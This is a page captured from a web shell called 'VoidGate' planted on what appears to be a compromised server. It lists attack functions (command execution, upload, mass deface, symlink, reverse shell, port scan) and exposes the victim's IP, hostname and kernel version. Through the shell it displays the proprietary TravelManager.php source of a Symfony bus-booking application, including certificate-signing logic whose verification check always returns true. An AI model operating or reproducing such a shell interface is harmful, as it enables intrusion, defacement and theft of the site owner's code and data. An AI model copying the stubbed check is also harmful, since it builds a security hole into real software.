ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Manager
/
Viewing: TravelManager.php
<?php namespace AppBundle\Manager; use AppBundle\Entity\Travel; use AppBundle\Entity\TravelConfig; use AppBundle\Entity\BusCheck; use AppBundle\Entity\Staff; use Doctrine\ORM\EntityManager; use AppBundle\Utils\Signer\Signer; use AppBundle\Utils\PkiServer\PkiNodeServer; use Symfony\Component\HttpFoundation\JsonResponse; class TravelManager extends AbstractResourceManager { private $signer; private $pkiServer; public function __construct(EntityManager $manager , Signer $signer, PkiNodeServer $pkiServer) { parent::__construct($manager); $this->signer = $signer; $this->pkiServer = $pkiServer; } public function createTravel(TravelConfig $travelConfig, $numberOfSits, $travelDay) { $travel = new Travel(); $travel->setTravelConfig($travelConfig); $travel->setTravelDay($travelDay); $travel->setNumberOfSits($numberOfSits); $this->manager->persist($travel); $this->manager->flush(); } public function updateTravel(Travel $travel, $_numberOfSits, $_travelDay, BusCheck $_busCheck, $_authorized, Staff $_driver,Staff $_hostess ) { if($_numberOfSits) $travel->setNumberOfSits($_numberOfSits); if($_travelDay) $travel->setTravelDay($_travelDay); if($_busCheck) $travel->setBusCheck($_busCheck); if($_authorized) $travel->setAuthorised($_authorized); if($_driver) $travel->setDriver($_driver); if($_hostess) $travel->setHostess($_hostess); $this->manager->flush(); return $travel; } public function deleteTravel(Travel $travel) { //TODO } public function hasFreeSits(Travel $travel) { return ( count($travel->getBookings()) < $travel->getNumberOfSits()); } public function getFreeSits(Travel $travel) { $allSits = range(1, $travel->getNumberOfSits()); $bookedSits = array(); foreach( $travel->getBookings() as $booking){ $bookedSits[] = $booking->getSitNumber(); } $freeSits = array_diff($allSits, $bookedSits); return array_values($freeSits); } public function isBooked(Travel $travel, $sitNumber) { $bookings = $travel->getBookings(); foreach( $bookings as $booking) { if($booking->getSitNumber() == $sitNumber) return true; } return false; } public function signRoadMap($travel, $agencyManager) { $checkResult = $this->verifyTravelBeforeSign($travel, $agencyManager); if( $checkResult != true){ //TODO : Impossible to sign the travl roadMap. Something is missing return false; }else { $certData = $this->pkiServer->loadUserCertData($agencyManager); if( $certData) { $isValid = $this->pkiServer->checkCert($certData->getCert()); if( $isValid){ //$strToSign = $ticket->getOperatorSignature(); $strToSign = $this->buildStringTosign($travel, $agencyManager); $binarySignature = $this->signer->sign($strToSign, $certData->getPrivateKey(),$certData->getPassPhrase()); //Saving the $signature $travel->setAgencyManager($agencyManager); $travel->setManagerSignature(base64_encode($binarySignature)); $travel->setAuthorised(true); $this->manager->flush(); return true; }else { //TODO error: this certData in not valid return false; } }else { //TODO error : No certData for this user return "no cert data"; } } } private function buildStringTosign( $travel, $agencyManager) { $strToSign = $travel->getTravelId(). ";". $travel->getTravelConfig()->getTravelConfigId(). ";". // $travel->getBusCheck()->getBusCheckId(). ';'. $travel->getTravelDay()->format('Y-m-d H:i'). ";". $agencyManager->getId(); return $strToSign; } private function verifyTravelBeforeSign( $travel, $agencyManager) { //TODO check if the bus control has been signed by the mechanic // check if all the tickets of passengers have been signed by the bus controller return true; } }
Coded With 💗 by
0x6ick